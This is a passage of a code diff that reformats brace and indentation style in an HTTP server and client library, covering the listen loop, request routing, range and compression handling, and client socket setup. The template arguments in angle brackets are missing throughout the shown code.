ntohs(reinterpret_cast(&addr)->sin6_port); - } else { - return -1; + + svr_sock_ = create_server_socket(host, port, socket_flags, socket_options_); + if (svr_sock_ == INVALID_SOCKET) { + return -1; } - } else { - return port; - } -} -inline bool Server::listen_internal() { - auto ret = true; - is_running_ = true; - auto se = detail::scope_exit([&]() { is_running_ = false; }); - - { - std::unique_ptr task_queue(new_task_queue()); - - while (svr_sock_ != INVALID_SOCKET) { -#ifndef _WIN32 - if (idle_interval_sec_ > 0 || idle_interval_usec_ > 0) { -#endif - auto val = detail::select_read(svr_sock_, idle_interval_sec_, - idle_interval_usec_); - if (val == 0) { // Timeout - task_queue->on_idle(); - continue; + if (port == 0) { + struct sockaddr_storage addr; + socklen_t addr_len = sizeof(addr); + if (getsockname(svr_sock_, reinterpret_cast(&addr), + &addr_len) == -1) { + return -1; } -#ifndef _WIN32 - } -#endif - socket_t sock = accept(svr_sock_, nullptr, nullptr); - - if (sock == INVALID_SOCKET) { - if (errno == EMFILE) { - // The per-process limit of open file descriptors has been reached. - // Try to accept new connections after a short sleep. - std::this_thread::sleep_for(std::chrono::milliseconds(1)); - continue; - } else if (errno == EINTR || errno == EAGAIN) { - continue; - } - if (svr_sock_ != INVALID_SOCKET) { - detail::close_socket(svr_sock_); - ret = false; + if (addr.ss_family == AF_INET) { + return ntohs(reinterpret_cast(&addr)->sin_port); + } else if (addr.ss_family == AF_INET6) { + return ntohs(reinterpret_cast(&addr)->sin6_port); } else { - ; // The server socket was closed by user. + return -1; } - break; - } - - { -#ifdef _WIN32 - auto timeout = static_cast(read_timeout_sec_ * 1000 + - read_timeout_usec_ / 1000); - setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, - reinterpret_cast(&timeout), sizeof(timeout)); -#else - timeval tv; - tv.tv_sec = static_cast(read_timeout_sec_); - tv.tv_usec = static_cast(read_timeout_usec_); - setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, - reinterpret_cast(&tv), sizeof(tv)); -#endif - } - { - -#ifdef _WIN32 - auto timeout = static_cast(write_timeout_sec_ * 1000 + - write_timeout_usec_ / 1000); - setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, - reinterpret_cast(&timeout), sizeof(timeout)); -#else - timeval tv; - tv.tv_sec = static_cast(write_timeout_sec_); - tv.tv_usec = static_cast(write_timeout_usec_); - setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, - reinterpret_cast(&tv), sizeof(tv)); -#endif - } - - task_queue->enqueue([this, sock]() { process_and_close_socket(sock); }); + } else { + return port; } - - task_queue->shutdown(); - } - - return ret; } -inline bool Server::routing(Request &req, Response &res, Stream &strm) { - if (pre_routing_handler_ && - pre_routing_handler_(req, res) == HandlerResponse::Handled) { - return true; - } +inline bool Server::listen_internal() +{ + auto ret = true; + is_running_ = true; + auto se = detail::scope_exit([&]() { + is_running_ = false; + }); - // File handler - auto is_head_request = req.method == "HEAD"; - if ((req.method == "GET" || is_head_request) && - handle_file_request(req, res, is_head_request)) { - return true; - } - - if (detail::expect_content(req)) { - // Content reader handler { - ContentReader reader( - [&](ContentReceiver receiver) { - return read_content_with_content_receiver( - strm, req, res, std::move(receiver), nullptr, nullptr); - }, - [&](MultipartContentHeader header, ContentReceiver receiver) { - return read_content_with_content_receiver(strm, req, res, nullptr, - std::move(header), - std::move(receiver)); - }); + std::unique_ptr task_queue(new_task_queue()); - if (req.method == "POST") { - if (dispatch_request_for_content_reader( - req, res, std::move(reader), - post_handlers_for_content_reader_)) { - return true; + while (svr_sock_ != INVALID_SOCKET) { +#ifndef _WIN32 + if (idle_interval_sec_ > 0 || idle_interval_usec_ > 0) { +#endif + auto val = detail::select_read(svr_sock_, idle_interval_sec_, + idle_interval_usec_); + if (val == 0) { // Timeout + task_queue->on_idle(); + continue; + } +#ifndef _WIN32 + } +#endif + socket_t sock = accept(svr_sock_, nullptr, nullptr); + + if (sock == INVALID_SOCKET) { + if (errno == EMFILE) { + // The per-process limit of open file descriptors has been reached. + // Try to accept new connections after a short sleep. + std::this_thread::sleep_for(std::chrono::milliseconds(1)); + continue; + } else if (errno == EINTR || errno == EAGAIN) { + continue; + } + if (svr_sock_ != INVALID_SOCKET) { + detail::close_socket(svr_sock_); + ret = false; + } else { + ; // The server socket was closed by user. + } + break; + } + + { +#ifdef _WIN32 + auto timeout = static_cast(read_timeout_sec_ * 1000 + + read_timeout_usec_ / 1000); + setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, + reinterpret_cast(&timeout), sizeof(timeout)); +#else + timeval tv; + tv.tv_sec = static_cast(read_timeout_sec_); + tv.tv_usec = static_cast(read_timeout_usec_); + setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, + reinterpret_cast(&tv), sizeof(tv)); +#endif + } + { + +#ifdef _WIN32 + auto timeout = static_cast(write_timeout_sec_ * 1000 + + write_timeout_usec_ / 1000); + setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, + reinterpret_cast(&timeout), sizeof(timeout)); +#else + timeval tv; + tv.tv_sec = static_cast(write_timeout_sec_); + tv.tv_usec = static_cast(write_timeout_usec_); + setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, + reinterpret_cast(&tv), sizeof(tv)); +#endif + } + + task_queue->enqueue([this, sock]() { + process_and_close_socket(sock); + }); } - } else if (req.method == "PUT") { - if (dispatch_request_for_content_reader( - req, res, std::move(reader), - put_handlers_for_content_reader_)) { - return true; - } - } else if (req.method == "PATCH") { - if (dispatch_request_for_content_reader( - req, res, std::move(reader), - patch_handlers_for_content_reader_)) { - return true; - } - } else if (req.method == "DELETE") { - if (dispatch_request_for_content_reader( - req, res, std::move(reader), - delete_handlers_for_content_reader_)) { - return true; - } - } + + task_queue->shutdown(); } - // Read content into `req.body` - if (!read_content(strm, req, res)) { return false; } - } + return ret; +} - // Regular handler - if (req.method == "GET" || req.method == "HEAD") { - return dispatch_request(req, res, get_handlers_); - } else if (req.method == "POST") { - return dispatch_request(req, res, post_handlers_); - } else if (req.method == "PUT") { - return dispatch_request(req, res, put_handlers_); - } else if (req.method == "DELETE") { - return dispatch_request(req, res, delete_handlers_); - } else if (req.method == "OPTIONS") { - return dispatch_request(req, res, options_handlers_); - } else if (req.method == "PATCH") { - return dispatch_request(req, res, patch_handlers_); - } +inline bool Server::routing(Request &req, Response &res, Stream &strm) +{ + if (pre_routing_handler_ && + pre_routing_handler_(req, res) == HandlerResponse::Handled) { + return true; + } - res.status = StatusCode::BadRequest_400; - return false; + // File handler + auto is_head_request = req.method == "HEAD"; + if ((req.method == "GET" || is_head_request) && + handle_file_request(req, res, is_head_request)) { + return true; + } + + if (detail::expect_content(req)) { + // Content reader handler + { + ContentReader reader( + [&](ContentReceiver receiver) { + return read_content_with_content_receiver( + strm, req, res, std::move(receiver), nullptr, nullptr); + }, + [&](MultipartContentHeader header, ContentReceiver receiver) { + return read_content_with_content_receiver(strm, req, res, nullptr, + std::move(header), + std::move(receiver)); + }); + + if (req.method == "POST") { + if (dispatch_request_for_content_reader( + req, res, std::move(reader), + post_handlers_for_content_reader_)) { + return true; + } + } else if (req.method == "PUT") { + if (dispatch_request_for_content_reader( + req, res, std::move(reader), + put_handlers_for_content_reader_)) { + return true; + } + } else if (req.method == "PATCH") { + if (dispatch_request_for_content_reader( + req, res, std::move(reader), + patch_handlers_for_content_reader_)) { + return true; + } + } else if (req.method == "DELETE") { + if (dispatch_request_for_content_reader( + req, res, std::move(reader), + delete_handlers_for_content_reader_)) { + return true; + } + } + } + + // Read content into `req.body` + if (!read_content(strm, req, res)) { + return false; + } + } + + // Regular handler + if (req.method == "GET" || req.method == "HEAD") { + return dispatch_request(req, res, get_handlers_); + } else if (req.method == "POST") { + return dispatch_request(req, res, post_handlers_); + } else if (req.method == "PUT") { + return dispatch_request(req, res, put_handlers_); + } else if (req.method == "DELETE") { + return dispatch_request(req, res, delete_handlers_); + } else if (req.method == "OPTIONS") { + return dispatch_request(req, res, options_handlers_); + } else if (req.method == "PATCH") { + return dispatch_request(req, res, patch_handlers_); + } + + res.status = StatusCode::BadRequest_400; + return false; } inline bool Server::dispatch_request(Request &req, Response &res, - const Handlers &handlers) const { - for (const auto &x : handlers) { - const auto &matcher = x.first; - const auto &handler = x.second; + const Handlers &handlers) const +{ + for (const auto &x : handlers) { + const auto &matcher = x.first; + const auto &handler = x.second; - if (matcher->match(req)) { - handler(req, res); - return true; + if (matcher->match(req)) { + handler(req, res); + return true; + } } - } - return false; + return false; } inline void Server::apply_ranges(const Request &req, Response &res, std::string &content_type, - std::string &boundary) const { - if (req.ranges.size() > 1) { - boundary = detail::make_multipart_data_boundary(); + std::string &boundary) const +{ + if (req.ranges.size() > 1) { + boundary = detail::make_multipart_data_boundary(); - auto it = res.headers.find("Content-Type"); - if (it != res.headers.end()) { - content_type = it->second; - res.headers.erase(it); - } - - res.set_header("Content-Type", - "multipart/byteranges; boundary=" + boundary); - } - - auto type = detail::encoding_type(req, res); - - if (res.body.empty()) { - if (res.content_length_ > 0) { - size_t length = 0; - if (req.ranges.empty()) { - length = res.content_length_; - } else if (req.ranges.size() == 1) { - auto offsets = - detail::get_range_offset_and_length(req, res.content_length_, 0); - length = offsets.second; - - auto content_range = detail::make_content_range_header_field( - req.ranges[0], res.content_length_); - res.set_header("Content-Range", content_range); - } else { - length = detail::get_multipart_ranges_data_length(req, res, boundary, - content_type); - } - res.set_header("Content-Length", std::to_string(length)); - } else { - if (res.content_provider_) { - if (res.is_chunked_content_provider_) { - res.set_header("Transfer-Encoding", "chunked"); - if (type == detail::EncodingType::Gzip) { - res.set_header("Content-Encoding", "gzip"); - } else if (type == detail::EncodingType::Brotli) { - res.set_header("Content-Encoding", "br"); - } + auto it = res.headers.find("Content-Type"); + if (it != res.headers.end()) { + content_type = it->second; + res.headers.erase(it); } - } + + res.set_header("Content-Type", + "multipart/byteranges; boundary=" + boundary); } - } else { - if (req.ranges.empty()) { - ; - } else if (req.ranges.size() == 1) { - auto content_range = detail::make_content_range_header_field( - req.ranges[0], res.body.size()); - res.set_header("Content-Range", content_range); - auto offsets = - detail::get_range_offset_and_length(req, res.body.size(), 0); - auto offset = offsets.first; - auto length = offsets.second; + auto type = detail::encoding_type(req, res); - if (offset < res.body.size()) { - res.body = res.body.substr(offset, length); - } else { - res.body.clear(); - res.status = StatusCode::RangeNotSatisfiable_416; - } + if (res.body.empty()) { + if (res.content_length_ > 0) { + size_t length = 0; + if (req.ranges.empty()) { + length = res.content_length_; + } else if (req.ranges.size() == 1) { + auto offsets = + detail::get_range_offset_and_length(req, res.content_length_, 0); + length = offsets.second; + + auto content_range = detail::make_content_range_header_field( + req.ranges[0], res.content_length_); + res.set_header("Content-Range", content_range); + } else { + length = detail::get_multipart_ranges_data_length(req, res, boundary, + content_type); + } + res.set_header("Content-Length", std::to_string(length)); + } else { + if (res.content_provider_) { + if (res.is_chunked_content_provider_) { + res.set_header("Transfer-Encoding", "chunked"); + if (type == detail::EncodingType::Gzip) { + res.set_header("Content-Encoding", "gzip"); + } else if (type == detail::EncodingType::Brotli) { + res.set_header("Content-Encoding", "br"); + } + } + } + } } else { - std::string data; - if (detail::make_multipart_ranges_data(req, res, boundary, content_type, - data)) { - res.body.swap(data); - } else { - res.body.clear(); - res.status = StatusCode::RangeNotSatisfiable_416; - } - } + if (req.ranges.empty()) { + ; + } else if (req.ranges.size() == 1) { + auto content_range = detail::make_content_range_header_field( + req.ranges[0], res.body.size()); + res.set_header("Content-Range", content_range); - if (type != detail::EncodingType::None) { - std::unique_ptr compressor; - std::string content_encoding; + auto offsets = + detail::get_range_offset_and_length(req, res.body.size(), 0); + auto offset = offsets.first; + auto length = offsets.second; - if (type == detail::EncodingType::Gzip) { + if (offset < res.body.size()) { + res.body = res.body.substr(offset, length); + } else { + res.body.clear(); + res.status = StatusCode::RangeNotSatisfiable_416; + } + } else { + std::string data; + if (detail::make_multipart_ranges_data(req, res, boundary, content_type, + data)) { + res.body.swap(data); + } else { + res.body.clear(); + res.status = StatusCode::RangeNotSatisfiable_416; + } + } + + if (type != detail::EncodingType::None) { + std::unique_ptr compressor; + std::string content_encoding; + + if (type == detail::EncodingType::Gzip) { #ifdef CPPHTTPLIB_ZLIB_SUPPORT - compressor = detail::make_unique(); - content_encoding = "gzip"; + compressor = detail::make_unique(); + content_encoding = "gzip"; #endif - } else if (type == detail::EncodingType::Brotli) { + } else if (type == detail::EncodingType::Brotli) { #ifdef CPPHTTPLIB_BROTLI_SUPPORT - compressor = detail::make_unique(); - content_encoding = "br"; + compressor = detail::make_unique(); + content_encoding = "br"; #endif - } + } - if (compressor) { - std::string compressed; - if (compressor->compress(res.body.data(), res.body.size(), true, - [&](const char *data, size_t data_len) { - compressed.append(data, data_len); - return true; - })) { - res.body.swap(compressed); - res.set_header("Content-Encoding", content_encoding); + if (compressor) { + std::string compressed; + if (compressor->compress(res.body.data(), res.body.size(), true, + [&](const char *data, size_t data_len) { + compressed.append(data, data_len); + return true; + })) { + res.body.swap(compressed); + res.set_header("Content-Encoding", content_encoding); + } + } } - } - } - auto length = std::to_string(res.body.size()); - res.set_header("Content-Length", length); - } + auto length = std::to_string(res.body.size()); + res.set_header("Content-Length", length); + } } inline bool Server::dispatch_request_for_content_reader( Request &req, Response &res, ContentReader content_reader, - const HandlersForContentReader &handlers) const { - for (const auto &x : handlers) { - const auto &matcher = x.first; - const auto &handler = x.second; + const HandlersForContentReader &handlers) const +{ + for (const auto &x : handlers) { + const auto &matcher = x.first; + const auto &handler = x.second; - if (matcher->match(req)) { - handler(req, res, content_reader); - return true; + if (matcher->match(req)) { + handler(req, res, content_reader); + return true; + } } - } - return false; + return false; } inline bool Server::process_request(Stream &strm, bool close_connection, bool &connection_closed, - const std::function &setup_request) { - std::array buf{}; + const std::function &setup_request) +{ + std::array buf{}; - detail::stream_line_reader line_reader(strm, buf.data(), buf.size()); + detail::stream_line_reader line_reader(strm, buf.data(), buf.size()); - // Connection has been closed on client - if (!line_reader.getline()) { return false; } + // Connection has been closed on client + if (!line_reader.getline()) { + return false; + } - Request req; + Request req; - Response res; - res.version = "HTTP/1.1"; - res.headers = default_headers_; + Response res; + res.version = "HTTP/1.1"; + res.headers = default_headers_; #ifdef _WIN32 - // TODO: Increase FD_SETSIZE statically (libzmq), dynamically (MySQL). + // TODO: Increase FD_SETSIZE statically (libzmq), dynamically (MySQL). #else #ifndef CPPHTTPLIB_USE_POLL - // Socket file descriptor exceeded FD_SETSIZE... - if (strm.socket() >= FD_SETSIZE) { - Headers dummy; - detail::read_headers(strm, dummy); - res.status = StatusCode::InternalServerError_500; - return write_response(strm, close_connection, req, res); - } + // Socket file descriptor exceeded FD_SETSIZE... + if (strm.socket() >= FD_SETSIZE) { + Headers dummy; + detail::read_headers(strm, dummy); + res.status = StatusCode::InternalServerError_500; + return write_response(strm, close_connection, req, res); + } #endif #endif - // Check if the request URI doesn't exceed the limit - if (line_reader.size() > CPPHTTPLIB_REQUEST_URI_MAX_LENGTH) { - Headers dummy; - detail::read_headers(strm, dummy); - res.status = StatusCode::UriTooLong_414; - return write_response(strm, close_connection, req, res); - } - - // Request line and headers - if (!parse_request_line(line_reader.ptr(), req) || - !detail::read_headers(strm, req.headers)) { - res.status = StatusCode::BadRequest_400; - return write_response(strm, close_connection, req, res); - } - - if (req.get_header_value("Connection") == "close") { - connection_closed = true; - } - - if (req.version == "HTTP/1.0" && - req.get_header_value("Connection") != "Keep-Alive") { - connection_closed = true; - } - - strm.get_remote_ip_and_port(req.remote_addr, req.remote_port); - req.set_header("REMOTE_ADDR", req.remote_addr); - req.set_header("REMOTE_PORT", std::to_string(req.remote_port)); - - strm.get_local_ip_and_port(req.local_addr, req.local_port); - req.set_header("LOCAL_ADDR", req.local_addr); - req.set_header("LOCAL_PORT", std::to_string(req.local_port)); - - if (req.has_header("Range")) { - const auto &range_header_value = req.get_header_value("Range"); - if (!detail::parse_range_header(range_header_value, req.ranges)) { - res.status = StatusCode::RangeNotSatisfiable_416; - return write_response(strm, close_connection, req, res); + // Check if the request URI doesn't exceed the limit + if (line_reader.size() > CPPHTTPLIB_REQUEST_URI_MAX_LENGTH) { + Headers dummy; + detail::read_headers(strm, dummy); + res.status = StatusCode::UriTooLong_414; + return write_response(strm, close_connection, req, res); } - } - if (setup_request) { setup_request(req); } - - if (req.get_header_value("Expect") == "100-continue") { - int status = StatusCode::Continue_100; - if (expect_100_continue_handler_) { - status = expect_100_continue_handler_(req, res); + // Request line and headers + if (!parse_request_line(line_reader.ptr(), req) || + !detail::read_headers(strm, req.headers)) { + res.status = StatusCode::BadRequest_400; + return write_response(strm, close_connection, req, res); } - switch (status) { - case StatusCode::Continue_100: - case StatusCode::ExpectationFailed_417: - strm.write_format("HTTP/1.1 %d %s\r\n\r\n", status, - status_message(status)); - break; - default: return write_response(strm, close_connection, req, res); - } - } - // Rounting - auto routed = false; -#ifdef CPPHTTPLIB_NO_EXCEPTIONS - routed = routing(req, res, strm); -#else - try { - routed = routing(req, res, strm); - } catch (std::exception &e) { - if (exception_handler_) { - auto ep = std::current_exception(); - exception_handler_(req, res, ep); - routed = true; - } else { - res.status = StatusCode::InternalServerError_500; - std::string val; - auto s = e.what(); - for (size_t i = 0; s[i]; i++) { - switch (s[i]) { - case '\r': val += "\\r"; break; - case '\n': val += "\\n"; break; - default: val += s[i]; break; + if (req.get_header_value("Connection") == "close") { + connection_closed = true; + } + + if (req.version == "HTTP/1.0" && + req.get_header_value("Connection") != "Keep-Alive") { + connection_closed = true; + } + + strm.get_remote_ip_and_port(req.remote_addr, req.remote_port); + req.set_header("REMOTE_ADDR", req.remote_addr); + req.set_header("REMOTE_PORT", std::to_string(req.remote_port)); + + strm.get_local_ip_and_port(req.local_addr, req.local_port); + req.set_header("LOCAL_ADDR", req.local_addr); + req.set_header("LOCAL_PORT", std::to_string(req.local_port)); + + if (req.has_header("Range")) { + const auto &range_header_value = req.get_header_value("Range"); + if (!detail::parse_range_header(range_header_value, req.ranges)) { + res.status = StatusCode::RangeNotSatisfiable_416; + return write_response(strm, close_connection, req, res); } - } - res.set_header("EXCEPTION_WHAT", val); } - } catch (...) { - if (exception_handler_) { - auto ep = std::current_exception(); - exception_handler_(req, res, ep); - routed = true; - } else { - res.status = StatusCode::InternalServerError_500; - res.set_header("EXCEPTION_WHAT", "UNKNOWN"); + + if (setup_request) { + setup_request(req); + } + + if (req.get_header_value("Expect") == "100-continue") { + int status = StatusCode::Continue_100; + if (expect_100_continue_handler_) { + status = expect_100_continue_handler_(req, res); + } + switch (status) { + case StatusCode::Continue_100: + case StatusCode::ExpectationFailed_417: + strm.write_format("HTTP/1.1 %d %s\r\n\r\n", status, + status_message(status)); + break; + default: + return write_response(strm, close_connection, req, res); + } + } + + // Rounting + auto routed = false; +#ifdef CPPHTTPLIB_NO_EXCEPTIONS + routed = routing(req, res, strm); +#else + try { + routed = routing(req, res, strm); + } catch (std::exception &e) { + if (exception_handler_) { + auto ep = std::current_exception(); + exception_handler_(req, res, ep); + routed = true; + } else { + res.status = StatusCode::InternalServerError_500; + std::string val; + auto s = e.what(); + for (size_t i = 0; s[i]; i++) { + switch (s[i]) { + case '\r': + val += "\\r"; + break; + case '\n': + val += "\\n"; + break; + default: + val += s[i]; + break; + } + } + res.set_header("EXCEPTION_WHAT", val); + } + } catch (...) { + if (exception_handler_) { + auto ep = std::current_exception(); + exception_handler_(req, res, ep); + routed = true; + } else { + res.status = StatusCode::InternalServerError_500; + res.set_header("EXCEPTION_WHAT", "UNKNOWN"); + } } - } #endif - if (routed) { - if (res.status == -1) { - res.status = req.ranges.empty() ? StatusCode::OK_200 - : StatusCode::PartialContent_206; + if (routed) { + if (res.status == -1) { + res.status = req.ranges.empty() ? StatusCode::OK_200 + : StatusCode::PartialContent_206; + } + return write_response_with_content(strm, close_connection, req, res); + } else { + if (res.status == -1) { + res.status = StatusCode::NotFound_404; + } + return write_response(strm, close_connection, req, res); } - return write_response_with_content(strm, close_connection, req, res); - } else { - if (res.status == -1) { res.status = StatusCode::NotFound_404; } - return write_response(strm, close_connection, req, res); - } } -inline bool Server::is_valid() const { return true; } +inline bool Server::is_valid() const +{ + return true; +} -inline bool Server::process_and_close_socket(socket_t sock) { - auto ret = detail::process_server_socket( - svr_sock_, sock, keep_alive_max_count_, keep_alive_timeout_sec_, - read_timeout_sec_, read_timeout_usec_, write_timeout_sec_, - write_timeout_usec_, - [this](Stream &strm, bool close_connection, bool &connection_closed) { +inline bool Server::process_and_close_socket(socket_t sock) +{ + auto ret = detail::process_server_socket( + svr_sock_, sock, keep_alive_max_count_, keep_alive_timeout_sec_, + read_timeout_sec_, read_timeout_usec_, write_timeout_sec_, + write_timeout_usec_, + [this](Stream &strm, bool close_connection, bool &connection_closed) { return process_request(strm, close_connection, connection_closed, nullptr); - }); + }); - detail::shutdown_socket(sock); - detail::close_socket(sock); - return ret; + detail::shutdown_socket(sock); + detail::close_socket(sock); + return ret; } // HTTP client implementation @@ -6718,1496 +7611,1732 @@ inline ClientImpl::ClientImpl(const std::string &host, int port, host_and_port_(adjust_host_string(host) + ":" + std::to_string(port)), client_cert_path_(client_cert_path), client_key_path_(client_key_path) {} -inline ClientImpl::~ClientImpl() { - std::lock_guard guard(socket_mutex_); - shutdown_socket(socket_); - close_socket(socket_); +inline ClientImpl::~ClientImpl() +{ + std::lock_guard guard(socket_mutex_); + shutdown_socket(socket_); + close_socket(socket_); } -inline bool ClientImpl::is_valid() const { return true; } - -inline void ClientImpl::copy_settings(const ClientImpl &rhs) { - client_cert_path_ = rhs.client_cert_path_; - client_key_path_ = rhs.client_key_path_; - connection_timeout_sec_ = rhs.connection_timeout_sec_; - read_timeout_sec_ = rhs.read_timeout_sec_; - read_timeout_usec_ = rhs.read_timeout_usec_; - write_timeout_sec_ = rhs.write_timeout_sec_; - write_timeout_usec_ = rhs.write_timeout_usec_; - basic_auth_username_ = rhs.basic_auth_username_; - basic_auth_password_ = rhs.basic_auth_password_; - bearer_token_auth_token_ = rhs.bearer_token_auth_token_; -#ifdef CPPHTTPLIB_OPENSSL_SUPPORT - digest_auth_username_ = rhs.digest_auth_username_; - digest_auth_password_ = rhs.digest_auth_password_; -#endif - keep_alive_ = rhs.keep_alive_; - follow_location_ = rhs.follow_location_; - url_encode_ = rhs.url_encode_; - address_family_ = rhs.address_family_; - tcp_nodelay_ = rhs.tcp_nodelay_; - socket_options_ = rhs.socket_options_; - compress_ = rhs.compress_; - decompress_ = rhs.decompress_; - interface_ = rhs.interface_; - proxy_host_ = rhs.proxy_host_; - proxy_port_ = rhs.proxy_port_; - proxy_basic_auth_username_ = rhs.proxy_basic_auth_username_; - proxy_basic_auth_password_ = rhs.proxy_basic_auth_password_; - proxy_bearer_token_auth_token_ = rhs.proxy_bearer_token_auth_token_; -#ifdef CPPHTTPLIB_OPENSSL_SUPPORT - proxy_digest_auth_username_ = rhs.proxy_digest_auth_username_; - proxy_digest_auth_password_ = rhs.proxy_digest_auth_password_; -#endif -#ifdef CPPHTTPLIB_OPENSSL_SUPPORT - ca_cert_file_path_ = rhs.ca_cert_file_path_; - ca_cert_dir_path_ = rhs.ca_cert_dir_path_; - ca_cert_store_ = rhs.ca_cert_store_; -#endif -#ifdef CPPHTTPLIB_OPENSSL_SUPPORT - server_certificate_verification_ = rhs.server_certificate_verification_; -#endif - logger_ = rhs.logger_; +inline bool ClientImpl::is_valid() const +{ + return true; } -inline socket_t ClientImpl::create_client_socket(Error &error) const { - if (!proxy_host_.empty() && proxy_port_ != -1) { +inline void ClientImpl::copy_settings(const ClientImpl &rhs) +{ + client_cert_path_ = rhs.client_cert_path_; + client_key_path_ = rhs.client_key_path_; + connection_timeout_sec_ = rhs.connection_timeout_sec_; + read_timeout_sec_ = rhs.read_timeout_sec_; + read_timeout_usec_ = rhs.read_timeout_usec_; + write_timeout_sec_ = rhs.write_timeout_sec_; + write_timeout_usec_ = rhs.write_timeout_usec_; + basic_auth_username_ = rhs.basic_auth_username_; + basic_auth_password_ = rhs.basic_auth_password_; + bearer_token_auth_token_ = rhs.bearer_token_auth_token_; +#ifdef CPPHTTPLIB_OPENSSL_SUPPORT + digest_auth_username_ = rhs.digest_auth_username_; + digest_auth_password_ = rhs.digest_auth_password_; +#endif + keep_alive_ = rhs.keep_alive_; + follow_location_ = rhs.follow_location_; + url_encode_ = rhs.url_encode_; + address_family_ = rhs.address_family_; + tcp_nodelay_ = rhs.tcp_nodelay_; + socket_options_ = rhs.socket_options_; + compress_ = rhs.compress_; + decompress_ = rhs.decompress_; + interface_ = rhs.interface_; + proxy_host_ = rhs.proxy_host_; + proxy_port_ = rhs.proxy_port_; + proxy_basic_auth_username_ = rhs.proxy_basic_auth_username_; + proxy_basic_auth_password_ = rhs.proxy_basic_auth_password_; + proxy_bearer_token_auth_token_ = rhs.proxy_bearer_token_auth_token_; +#ifdef CPPHTTPLIB_OPENSSL_SUPPORT + proxy_digest_auth_username_ = rhs.proxy_digest_auth_username_; + proxy_digest_auth_password_ = rhs.proxy_digest_auth_password_; +#endif +#ifdef CPPHTTPLIB_OPENSSL_SUPPORT + ca_cert_file_path_ = rhs.ca_cert_file_path_; + ca_cert_dir_path_ = rhs.ca_cert_dir_path_; + ca_cert_store_ = rhs.ca_cert_store_; +#endif +#ifdef CPPHTTPLIB_OPENSSL_SUPPORT + server_certificate_verification_ = rhs.server_certificate_verification_; +#endif + logger_ = rhs.logger_; +} + +inline socket_t ClientImpl::create_client_socket(Error &error) const +{ + if (!proxy_host_.empty() && proxy_port_ != -1) { + return detail::create_client_socket( + proxy_host_, std::string(), proxy_port_, address_family_, tcp_nodelay_, + socket_options_, connection_timeout_sec_, connection_timeout_usec_, + read_timeout_sec_, read_timeout_usec_, write_timeout_sec_, + write_timeout_usec_, interface_, error); + } + + // Check is custom IP specified for host_ + std::string ip; + auto it = addr_map_.find(host_); + if (it != addr_map_.end()) { + ip = it->second; + } + return detail::create_client_socket( - proxy_host_, std::string(), proxy_port_, address_family_, tcp_nodelay_, - socket_options_, connection_timeout_sec_, connection_timeout_usec_, - read_timeout_sec_, read_timeout_usec_, write_timeout_sec_, - write_timeout_usec_, interface_, error); - } - - // Check is custom IP specified for host_ - std::string ip; - auto it = addr_map_.find(host_); - if (it != addr_map_.end()) { ip = it->second; } - - return detail::create_client_socket( - host_, ip, port_, address_family_, tcp_nodelay_, socket_options_, - connection_timeout_sec_, connection_timeout_usec_, read_timeout_sec_, - read_timeout_usec_, write_timeout_sec_, write_timeout_usec_, interface_, - error); + host_, ip, port_, address_family_, tcp_nodelay_, socket_options_, + connection_timeout_sec_, connection_timeout_usec_, read_timeout_sec_, + read_timeout_usec_, write_timeout_sec_, write_timeout_usec_, interface_, + error); } inline bool ClientImpl::create_and_connect_socket(Socket &socket, - Error &error) { - auto sock = create_client_socket(error); - if (sock == INVALID_SOCKET) { return false; } - socket.sock = sock; - return true; + Error &error) +{ + auto sock = create_client_socket(error); + if (sock == INVALID_SOCKET) { + return false; + } + socket.sock = sock; + return true; } inline void ClientImpl::shutdown_ssl(Socket & /*socket*/, - bool /*shutdown_gracefully*/) { - // If there are any requests in flight from threads other than us, then it's - // a thread-unsafe race because individual ssl* objects are not thread-safe. - assert(socket_requests_in_flight_ == 0 || - socket_requests_are_from_thread_ == std::this_thread::get_id()); + bool /*shutdown_gracefully*/) +{ + // If there are any requests in flight from threads other than us, then it's + // a thread-unsafe race because individual ssl* objects are not thread-safe. + assert(socket_requests_in_flight_ == 0 || + socket_requests_are_from_thread_ == std::this_thread::get_id()); } -inline void ClientImpl::shutdown_socket(Socket &socket) const { - if (socket.sock == INVALID_SOCKET) { return; } - detail::shutdown_socket(socket.sock); +inline void ClientImpl::shutdown_socket(Socket &socket) const +{ + if (socket.sock == INVALID_SOCKET) { + return; + } + detail::shutdown_socket(socket.sock); } -inline void ClientImpl::close_socket(Socket &socket) { - // If there are requests in flight in another thread, usually closing - // the socket will be fine and they will simply receive an error when - // using the closed socket, but it is still a bug since rarely the OS - // may reassign the socket id to be used for a new socket, and then - // suddenly they will be operating on a live socket that is different - // than the one they intended! - assert(socket_requests_in_flight_ == 0 || - socket_requests_are_from_thread_ == std::this_thread::get_id()); +inline void ClientImpl::close_socket(Socket &socket) +{ + // If there are requests in flight in another thread, usually closing + // the socket will be fine and they will simply receive an error when + // using the closed socket, but it is still a bug since rarely the OS + // may reassign the socket id to be used for a new socket, and then + // suddenly they will be operating on a live socket that is different + // than the one they intended! + assert(socket_requests_in_flight_ == 0 || + socket_requests_are_from_thread_ == std::this_thread::get_id()); - // It is also a bug if this happens while SSL is still active + // It is also a bug if this happens while SSL is still active #ifdef CPPHTTPLIB_OPENSSL_SUPPORT - assert(socket.ssl == nullptr); + assert(socket.ssl == nullptr); #endif - if (socket.sock == INVALID_SOCKET) { return; } - detail::close_socket(socket.sock); - socket.sock = INVALID_SOCKET; + if (socket.sock == INVALID_SOCKET) { + return; + } + detail::close_socket(socket.sock); + socket.sock = INVALID_SOCKET; } inline bool ClientImpl::read_response_line(Stream &strm, const Request &req, - Response &res) const { - std::array buf{}; + Response &res) const +{ + std::array buf{}; - detail::stream_line_reader line_reader(strm, buf.data(), buf.size()); + detail::stream_line_reader line_reader(strm, buf.data(), buf.size()); - if (!line_reader.getline()) { return false; } + if (!line_reader.getline()) { + return false; + } #ifdef CPPHTTPLIB_ALLOW_LF_AS_LINE_TERMINATOR - const static std::regex re("(HTTP/1\\.[01]) (\\d{3})(?: (.*?))?\r?\n"); + const static std::regex re("(HTTP/1\\.[01]) (\\d{3})(?: (.*?))?\r?\n"); #else - const static std::regex re("(HTTP/1\\.[01]) (\\d{3})(?: (.*?))?\r\n"); + const static std::regex re("(HTTP/1\\.[01]) (\\d{3})(?: 